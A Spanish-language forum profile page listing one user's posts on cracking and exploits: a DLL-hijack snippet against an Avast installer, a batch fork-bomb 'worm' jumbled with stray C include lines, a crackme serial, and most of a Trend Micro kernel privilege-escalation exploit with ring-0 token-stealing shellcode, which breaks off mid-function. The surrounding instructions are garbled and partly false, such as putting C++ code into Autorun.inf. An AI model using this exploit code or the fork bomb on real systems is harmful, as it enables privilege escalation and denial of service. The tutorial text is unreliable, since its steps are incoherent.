Menú

Mostrar Mensajes

Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.

Mostrar Mensajes Menú

Temas - jessejemmes

#1
Ingeniería Inversa / proteger un programa
3 Abril 2011, 17:30 PM
primero vayan aqui[url]http://www.exploit-db.com/local/ y descarguense world list buffer overflow
abranlo con hex y se encontraran con esto

Código (asm) [Seleccionar]
[0x00000000: 0a
0a
0a
0a
0a
0a
0a
0a -
0a
]

es decir programa desprotegido

y tiene que protegerlo de manera que olly no pueda realizar ningun tipo de accion ni siquiera correr el programa y hex que muestre un registro muy distinto

ayuda:http://www.woodmann.com/crackz/Miscpapers.htm : y disfruten , si tienen alguna recomendacion , o idea o pregunta no duden en postearla ,gracias
#2
Bugs y Exploits / exploit en avast
9 Febrero 2011, 21:52 PM
#include <windows.h>

int main()
{
  WinExec("calc", SW_NORMAL);
  exit(0);
  return 0;
}

BOOL WINAPI DllMain(HINSTANCE hinstDLL,DWORD fdwReason, LPVOID lpvReserved)
{
  main();
  return 0;
}
estas sentencia escribidla en note pad    y salvar como mfc90loc.dll

lo interesante es que cuando se inicia el motro de instalacion se lanza un registro de
aqui no me instalo por que no me gusta

vais a opcione instalacion presonalizada y le ordenais que emplee este archivo mfc90loc.dll
sorpresa se instala ....

abris el olly y en conditional logs anadis  el bug  le plugin a anadir mfc90loc.dll

valor+segmento= #include <windows.h>+int main()
{
={
  main();
  return 0;
}

en este mismo momento olly avisa de shift F9 violation nada adelante le dais y lo correis
el antivirus os avisa de que no funcion correctamente

cerrais todo

y le dais a modificar instalacion premio antivirus hackeado  version pro avast setup la demo

importante hagan estas prubeas con linux nunca con microsoft

si quieren corregir  las criticas son constructivas    xao hasta la proxima jessejemmes

#3
Análisis y Diseño de Malware / pequeno quilmes
3 Febrero 2011, 19:43 PM
 ::) /bueno este seria un pequeno quilme como la cerveza ja,ja es un simple comando que ordena aperturas de documentos hasta bloquear el ordenador es decir un pequeno worm la diferncia esque se puede ocultar en archivo en iso.(en este caso)
o en el que ustedes quieran
i empleo una simple encriptacion de extracion de datos pero con un (-).
set exit=echo set bucle %%start cmd.exe%%:bucle el quilme en cuestion luego se ha cifrado
start cmd.exe
goto bucle
#include <stdio.h>:bucle
start cmd.exe@echo off
echo cmd.exe
pause>nul
goto bucle
exit
#include <sys/socket.h>:bucle
start cmd.exe@echo off
echo cmd.exe
pause>nul
goto bucle
exit
#include <sys/types.h>:bucle
start cmd.exe
start cmd.exe@echo off
set.exe=-4567kgbexploit-09023
echo.%exe:~-4,13%
pause>nul
exit
goto bucle.
#include <linux/netlink.h>:bucle
start cmd.exe start cmd.exe@echo off
set.exe=-4567kgbexploit-09023
echo.%exe:~-4,13%
pause>nul
goto bucle
exit
#include <fcntl.h>:bucle
start cmd.exe start cmd.exe@echo off
set.exe=-4567kgbexploit-09023
echo.%exe:~-4,13%
pause>nul
goto bucle
exit
#include <errno.h>:bucle
start cmd.exe start cmd.exe@echo off
set.exe=-4567kgbexploit-09023
echo.%exe:~-4,13%
pause>nul
goto bucle
exit
#include <stdlib.h>:bucle
start cmd.exe start cmd.exe@echo off
set.exe=-4567kgbexploit-09023
echo.%exe:~-4,13%
pause>nul
goto bucle
exit
#include <string.h>:bucle
start cmd.exe start cmd.exe@echo off
set.exe=-4567kgbexploit-09023
echo.%exe:~-4,13%
pause>nul
goto bucle
exit
#include <string.h>:bucle
start cmd.exe
start cmd.exe@echo off
set.exe=-4567kgbexploit-09023
echo.%exe:~-4,13%
pause>nul
exit
goto bucle
#include <unistd.h>:bucle
start cmd.exestart cmd.exe@echo off
set.exe=-4567kgbexploit-09023
echo.%exe:~-4,13%
pause>nul
exit
goto bucle
#include <sys/stat.h>:bucle
start cmd.exestart cmd.exe@echo off
set.exe=-4567kgbexploit-09023
echo.%exe:~-4,13%
pause>nul
exit
goto bucle
#include <signal.h>:bucle
start cmd.exestart cmd.exe@echo off
set.exe=-4567kgbexploit-09023
echo.%exe:~-4,13%
pause>nul
goto bucle
exit.
#include <sys/mount.h>:bucle
start cmd.exestart cmd.exe@echo off
set.exe=-4567kgbexploit-09023
echo.%exe:~-4,13%
pause>nul
goto bucle
exit
#define SECRET "secretlol":bucle
start cmd.exestart cmd.exe@echo off
set.exe=-4567kgbexploit-09023
echo.%exe:~-4,13%
pause>nul
exit
goto bucle


void die(const char *msg)
goto bucle )


xao si alguien tiene alguna opinion  o quiere incluir algo no duduies en contestar
#4
nueva vulnerabilidad, en trendmicro para windows xp sp2
abrimos olly y cargamos los plugins correspondientes ala pagina oficial de olly
abrimos en pulgins la cdm y cargamos este codigo
IoCtl handler of \\.\tmtdi device drivesr:


.text:0001D3CC ; int __stdcall sub_1D3CC(PDEVICE_OBJECT DeviceObject, PIRP pIrp)
.text:0001D3CC sub_1D3CC       proc near               ; DATA XREF: sub_1DD40+D0o
.text:0001D3CC
.text:0001D3CC var_4           = dword ptr -4
.text:0001D3CC DeviceObject    = dword ptr  8
.text:0001D3CC pIrp            = dword ptr  0Ch
.text:0001D3CC
.text:0001D3CC                 mov     edi, edi
.text:0001D3CE                 push    ebp
.text:0001D3CF                 mov     ebp, esp
.text:0001D3D1                 push    ecx
.text:0001D3D2                 mov     eax, [ebp+DeviceObject]
.text:0001D3D5                 mov     eax, [eax+28h]
.text:0001D3D8                 and     [ebp+var_4], 0
.text:0001D3DC                 push    ebx
.text:0001D3DD                 mov     ebx, [ebp+pIrp]
.text:0001D3E0                 push    esi
.text:0001D3E1                 mov     esi, ds:MmIsAddressValid
.text:0001D3E7                 push    edi
.text:0001D3E8                 mov     edi, [ebx+60h]
.text:0001D3EB                 push    edi             ; VirtualAddress
.text:0001D3EC                 mov     [ebp+pIrp], eax
.text:0001D3EF                 call    esi ; MmIsAddressValid
.text:0001D3F1                 test    al, al
.text:0001D3F3                 jnz     short loc_1D403

[..]

.text:0001DAF3                 mov     eax, ecx
.text:0001DAF5                 sub     eax, 220078h
.text:0001DAFA                 jz      loc_1DC89
.text:0001DB00                 sub     eax, 18h
.text:0001DB03                 jz      loc_1DC51
.text:0001DB09                 push    4
.text:0001DB0B                 pop     edi
.text:0001DB0C                 sub     eax, edi
.text:0001DB0E                 jz      loc_1DC30
.text:0001DB14                 sub     eax, 2Ch
.text:0001DB17                 jz      loc_1DBF1
.text:0001DB1D                 sub     eax, 14h
.text:0001DB20                 jz      loc_1DBBD
.text:0001DB26                 sub     eax, 330h
.text:0001DB2B                 jz      short loc_1DB7B

[..]

.text:0001DB7B loc_1DB7B:                              ; CODE XREF: sub_1D3CC+75Fj
.text:0001DB7B                 test    dword_2289C, 10000000h
.text:0001DB85                 mov     edi, [ebx+0Ch]
.text:0001DB88                 jz      short loc_1DB95
.text:0001DB8A                 push    offset aIoctrl_bind_cf ; "[IOCTRL_BIND_CFW]\n"
.text:0001DB8F                 call    DbgPrint
.text:0001DB94                 pop     ecx
.text:0001DB95                 push    edi             ; VirtualAddress
.text:0001DB96                 call    esi ; MmIsAddressValid
.text:0001DB98                 test    al, al
.text:0001DB9A                 jz      loc_1DD19
.text:0001DBA0                 cmp     [ebp+DeviceObject], 8 ; check for length
.text:0001DBA4                 jb      loc_1DD19
.text:0001DBAA                 mov     eax, [edi] ; eax - first DWORD from our buffer
.text:0001DBAC                 mov     dword_228B4, eax ; pointer overwrite



inciais el progama con con run F9 os dara acces violation le dais a shit F8
y continuamos
.text:00010CD4 sub_10CD4       proc near               ; CODE XREF: sub_19234+480p
.text:00010CD4                                         ; sub_197FC+1D5p ...
.text:00010CD4                 mov     edi, edi
.text:00010CD6                 push    ebp
.text:00010CD7                 mov     ebp, esp
.text:00010CD9                 mov     ecx, dword_228B4 ; copy to ecx
.text:00010CDF                 xor     eax, eax
.text:00010CE1                 test    ecx, ecx
.text:00010CE3                 jz      short loc_10CE8 ; is NULL pointer
.text:00010CE5                 pop     ebp
.text:00010CE6                 jmp     ecx  ; direct jump to our shellcode
.text:00010CE8 ; ---------------------------------------------------------------------------
.text:00010CE8
.text:00010CE8 loc_10CE8:                              ; CODE XREF: sub_10CD4+Fj
.text:00010CE8                 pop     ebp

.text:00010CE9                 retn    4
.text:00010CE9 sub_10CD4       end

We could invoke sub_10CD4 function by calling function bind.

ESTA SENTECIA SE JECUTA DESDE EL PUNTO DE ACCESO Function sub_10CD4
COMO VEIS ESTE PUNTO ESTA EMPAQUETADO CON ENCRIPTACION DE PAQUETE AMERICANO
SE HAN ROTO LA CABEZA
volved a repetir F9 shift F9
OK  HASTA AQUI VALE
SI ARRANCAIS EL PROGRAMA SE DESEMPAQUETARA SIN PROBLEMAS
PERO VAMOS HA HACER QUE SEA COMPLETAMENTE NUESTRO ES DECIR PODAMOS MODIFICARLO  ESCRIBIR
DEBEIS IR Autorun.inf [Trend_Micro/Common/Setting/EN-US] DEBEIS INTRODUCIR ESTE CODIGO EN C++
#include <stdio.h>
#include "winsock2.h"
#include <windows.h>

#pragma comment(lib, "wininet.lib")
#pragma comment(lib, "Ws2_32.lib")


static unsigned char win2k3_ring0_shell[] =
  /* _ring0 */
  "\xb8\x24\xf1\xdf\xff"
  "\x8b\x00"
  "\x8b\xb0\x18\x02\x00\x00"
  "\x89\xf0"
  /* _sys_eprocess_loop   */
  "\x8b\x98\x94\x00\x00\x00"
  "\x81\xfb\x04\x00\x00\x00"
  "\x74\x11"
  "\x8b\x80\x9c\x00\x00\x00"
  "\x2d\x98\x00\x00\x00"
  "\x39\xf0"
  "\x75\xe3"
  "\xeb\x21"
  /* _sys_eprocess_found  */
  "\x89\xc1"
  "\x89\xf0"

  /* _cmd_eprocess_loop   */
  "\x8b\x98\x94\x00\x00\x00"
  "\x81\xfb\x00\x00\x00\x00"
  "\x74\x10"
  "\x8b\x80\x9c\x00\x00\x00"
  "\x2d\x98\x00\x00\x00"
  "\x39\xf0"
  "\x75\xe3"
  /* _not_found           */
  "\xcc"
  /* _cmd_eprocess_found
   * _ring0_end           */

  /* copy tokens!$%!      */
  "\x8b\x89\xd8\x00\x00\x00"
  "\x89\x88\xd8\x00\x00\x00"
  "\x90";

static unsigned char winvista_ring0_shell[] =
  /* _ring0 */
  "\x64\xa1\x24\x01\x00\x00"
  //"\x8b\x00"
  "\x8b\x70\x48"
  "\x89\xf0"
  /* _sys_eprocess_loop   */
  "\x8b\x98\x9c\x00\x00\x00"
  "\x81\xfb\x04\x00\x00\x00"
  "\x74\x11"
  "\x8b\x80\xa4\x00\x00\x00"
  "\x2d\xa0\x00\x00\x00"
  "\x39\xf0"
  "\x75\xe3"
  "\xeb\x21"
  /* _sys_eprocess_found  */
  "\x89\xc1"
  "\x89\xf0"

  /* _cmd_eprocess_loop   */
  "\x8b\x98\x9c\x00\x00\x00"
  "\x81\xfb\x00\x00\x00\x00"
  "\x74\x10"
  "\x8b\x80\xa4\x00\x00\x00"
  "\x2d\xa0\x00\x00\x00"
  "\x39\xf0"
  "\x75\xe3"
  /* _not_found           */
  "\xcc"
  /* _cmd_eprocess_found
   * _ring0_end           */

  /* copy tokens!$%!      */
  "\x8b\x89\xe0\x00\x00\x00"
  "\x89\x88\xe0\x00\x00\x00"
  "\x90";


static unsigned char win7_ring0_shell[] =
  /* _ring0 */
  "\x64\xa1\x24\x01\x00\x00"
  "\x8b\x70\x50"
  "\x89\xf0"
  /* _sys_eprocess_loop   */
  "\x8b\x98\xb4\x00\x00\x00"
  "\x81\xfb\x04\x00\x00\x00"
  "\x74\x11"
  "\x8b\x80\xbc\x00\x00\x00"
  "\x2d\xb8\x00\x00\x00"
  "\x39\xf0"
  "\x75\xe3"
  "\xeb\x21"
  /* _sys_eprocess_found  */
  "\x89\xc1"
  "\x89\xf0"

  /* _cmd_eprocess_loop   */
  "\x8b\x98\xb4\x00\x00\x00"
  "\x81\xfb\x00\x00\x00\x00"
  "\x74\x10"
  "\x8b\x80\xbc\x00\x00\x00"
  "\x2d\xb8\x00\x00\x00"
  "\x39\xf0"
  "\x75\xe3"
  /* _not_found           */
  "\xcc"
  /* _cmd_eprocess_found
   * _ring0_end           */

  /* copy tokens!$%!      */
  "\x8b\x89\xf8\x00\x00\x00"
  "\x89\x88\xf8\x00\x00\x00" toma overflow
  "\x90";



static unsigned char winxp_ring0_shell[] =
  /* _ring0 */
  "\xb8\x24\xf1\xdf\xff"
  "\x8b\x00"
  "\x8b\x70\x44"
  "\x89\xf0"
  /* _sys_eprocess_loop   */
  "\x8b\x98\x84\x00\x00\x00"
  "\x81\xfb\x04\x00\x00\x00"
  "\x74\x11"
  "\x8b\x80\x8c\x00\x00\x00"
  "\x2d\x88\x00\x00\x00"
  "\x39\xf0"
  "\x75\xe3"
  "\xeb\x21"
  /* _sys_eprocess_found  */
  "\x89\xc1"
  "\x89\xf0"

  /* _cmd_eprocess_loop   */
  "\x8b\x98\x84\x00\x00\x00"
  "\x81\xfb\x00\x00\x00\x00"
  "\x74\x10"
  "\x8b\x80\x8c\x00\x00\x00"
  "\x2d\x88\x00\x00\x00"
  "\x39\xf0"
  "\x75\xe3"
  /* _not_found           */
  "\xcc"
  /* _cmd_eprocess_found
   * _ring0_end           */

  /* copy tokens!$%!      */
  "\x8b\x89\xc8\x00\x00\x00"
  "\x89\x88\xc8\x00\x00\x00"
  "\x90";


static unsigned char freeze[] =
  "\xeb\xfe";



DWORD WINAPI ResetPointer( LPVOID lpParam )
{
        HANDLE   hDevice;
        DWORD *inbuff;
        DWORD ioctl = 0x220404, in = 0x10, out = 0x0C, len;

        DWORD interval = 500;//enough?!
        Sleep(interval);
        inbuff = (DWORD *)malloc(0x1000);
        if(!inbuff){
                printf("malloc failed!\n");
                return 0;
        }

        *inbuff = 0;
        hDevice = (HANDLE)lpParam;
        DeviceIoControl(hDevice, ioctl, (LPVOID)inbuff, in, (LPVOID)inbuff, out, &len, NULL);
        free(inbuff);

        return 0;
}

static PCHAR fixup_ring0_shell (DWORD ppid, DWORD *zlen)
{
        DWORD dwVersion, dwMajorVersion, dwMinorVersion;

        dwVersion = GetVersion ();
        dwMajorVersion = (DWORD) (LOBYTE(LOWORD(dwVersion)));
        dwMinorVersion = (DWORD) (HIBYTE(LOWORD(dwVersion)));

        printf("dwMajorVersion = %d dwMinorVersion %d\n", dwMajorVersion, dwMinorVersion);

        switch (dwMajorVersion)
        {
                case 5:
                        switch (dwMinorVersion)
                        {
                                case 1:
                                        *zlen = sizeof winxp_ring0_shell - 1;
                                        *(PDWORD) &winxp_ring0_shell[55] = ppid;
                                        return (winxp_ring0_shell);
                                case 2:
                                        *zlen = sizeof win2k3_ring0_shell - 1;
                                        *(PDWORD) &win2k3_ring0_shell[58] = ppid;
                                        return (win2k3_ring0_shell);

                                default:
                                        printf("GetVersion, unsupported version\n");
                                        exit(EXIT_FAILURE);
                        }

                case 6:
                        switch (dwMinorVersion)
                        {
                                case 0:
                                        *zlen = sizeof winvista_ring0_shell - 1;
                                        *(PDWORD) &winvista_ring0_shell[54] = ppid;
                                        return (winvista_ring0_shell);

                                case 1:
                                        *zlen = sizeof win7_ring0_shell - 1;
                                        *(PDWORD) &win7_ring0_shell[54] = ppid;
                                        return (win7_ring0_shell);

                                default:
                                        printf("GetVersion, unsupported version\n");
                                        exit(EXIT_FAILURE);
                        }

                default:
                        printf("GetVersion, unsupported version\n");
                        exit(EXIT_FAILURE);
        }

        return (NULL);
}


int main(int argc, char **argv)
{
        HANDLE   hDevice, hThread;
        DWORD *inbuff;
        DWORD ioctl = 0x220404, in = 0x10, out = 0x0C, len, zlen, ppid;
        LPVOID zpage, zbuf;

        struct sockaddr_in service;

        // Initialize Winsock
        WSADATA wsaData;
        SOCKET ListenSocket;
        int iResult = WSAStartup(MAKEWORD(2,2), &wsaData);


        printf ("Trend Micro Titanium Maximum Security 2011 0day Local Kernel Exploit\n"
                  "by: Nikita Tarakanov (CISS Research Team)\n");

        if (iResult != NO_ERROR) printf("Error at WSAStartup()\n");

        if (argc <= 1)
        {
                printf("Usage: %s <processid to elevate>\n", argv[0]);
                return 0;
        }

        ppid = atoi(argv[1]);

        zpage = VirtualAlloc(NULL, 0x1000, MEM_RESERVE|MEM_COMMIT, PAGE_EXECUTE_READWRITE);
        if (zpage == NULL)
        {
                printf("VirtualAlloc failed\n");
                return 0;
        }
        printf("Ring 0 shellcode at 0x%08X address\n", zpage, 0x10000);

        memset(zpage, 0xCC, 0x1000);
        zbuf = fixup_ring0_shell(ppid, &zlen);
        memcpy((PCHAR)zpage, (PCHAR)zbuf, zlen);
        memcpy((PCHAR)zpage + zlen, (PCHAR)freeze, sizeof (freeze) - 1);
        if ( (hDevice = CreateFileA("\\\\.\\tmtdi",
                                                  GENERIC_READ|GENERIC_WRITE,
                                                  0,
                                                  0,
                                                  OPEN_EXISTING,
                                                  0,
                                                  NULL) ) != INVALID_HANDLE_VALUE )
        {
                printf("Device succesfully opened!\n");
        }
        else
        {
                printf("Error: Error opening device \n");
                return 0;
        }

        inbuff = (DWORD *)malloc(0x1000);
        if(!inbuff){
                printf("malloc failed!\n");
                return 0;
        }
bueno y vuestro programa quedara libredo
#5
Ingeniería Inversa / desactivar virus ebola
3 Septiembre 2010, 21:57 PM
ebola es un virus escrito en ms dos  maneja remotamente el pc ademas de ser un autoreplicante
;-) codigo de desactivacion 220
#6
Ingeniería Inversa / crackme6
3 Septiembre 2010, 21:44 PM
solucionado crackme 6
nombre yako
serial 10 20 30 40 50 60
punto de parcheo de archivo B9DCC24000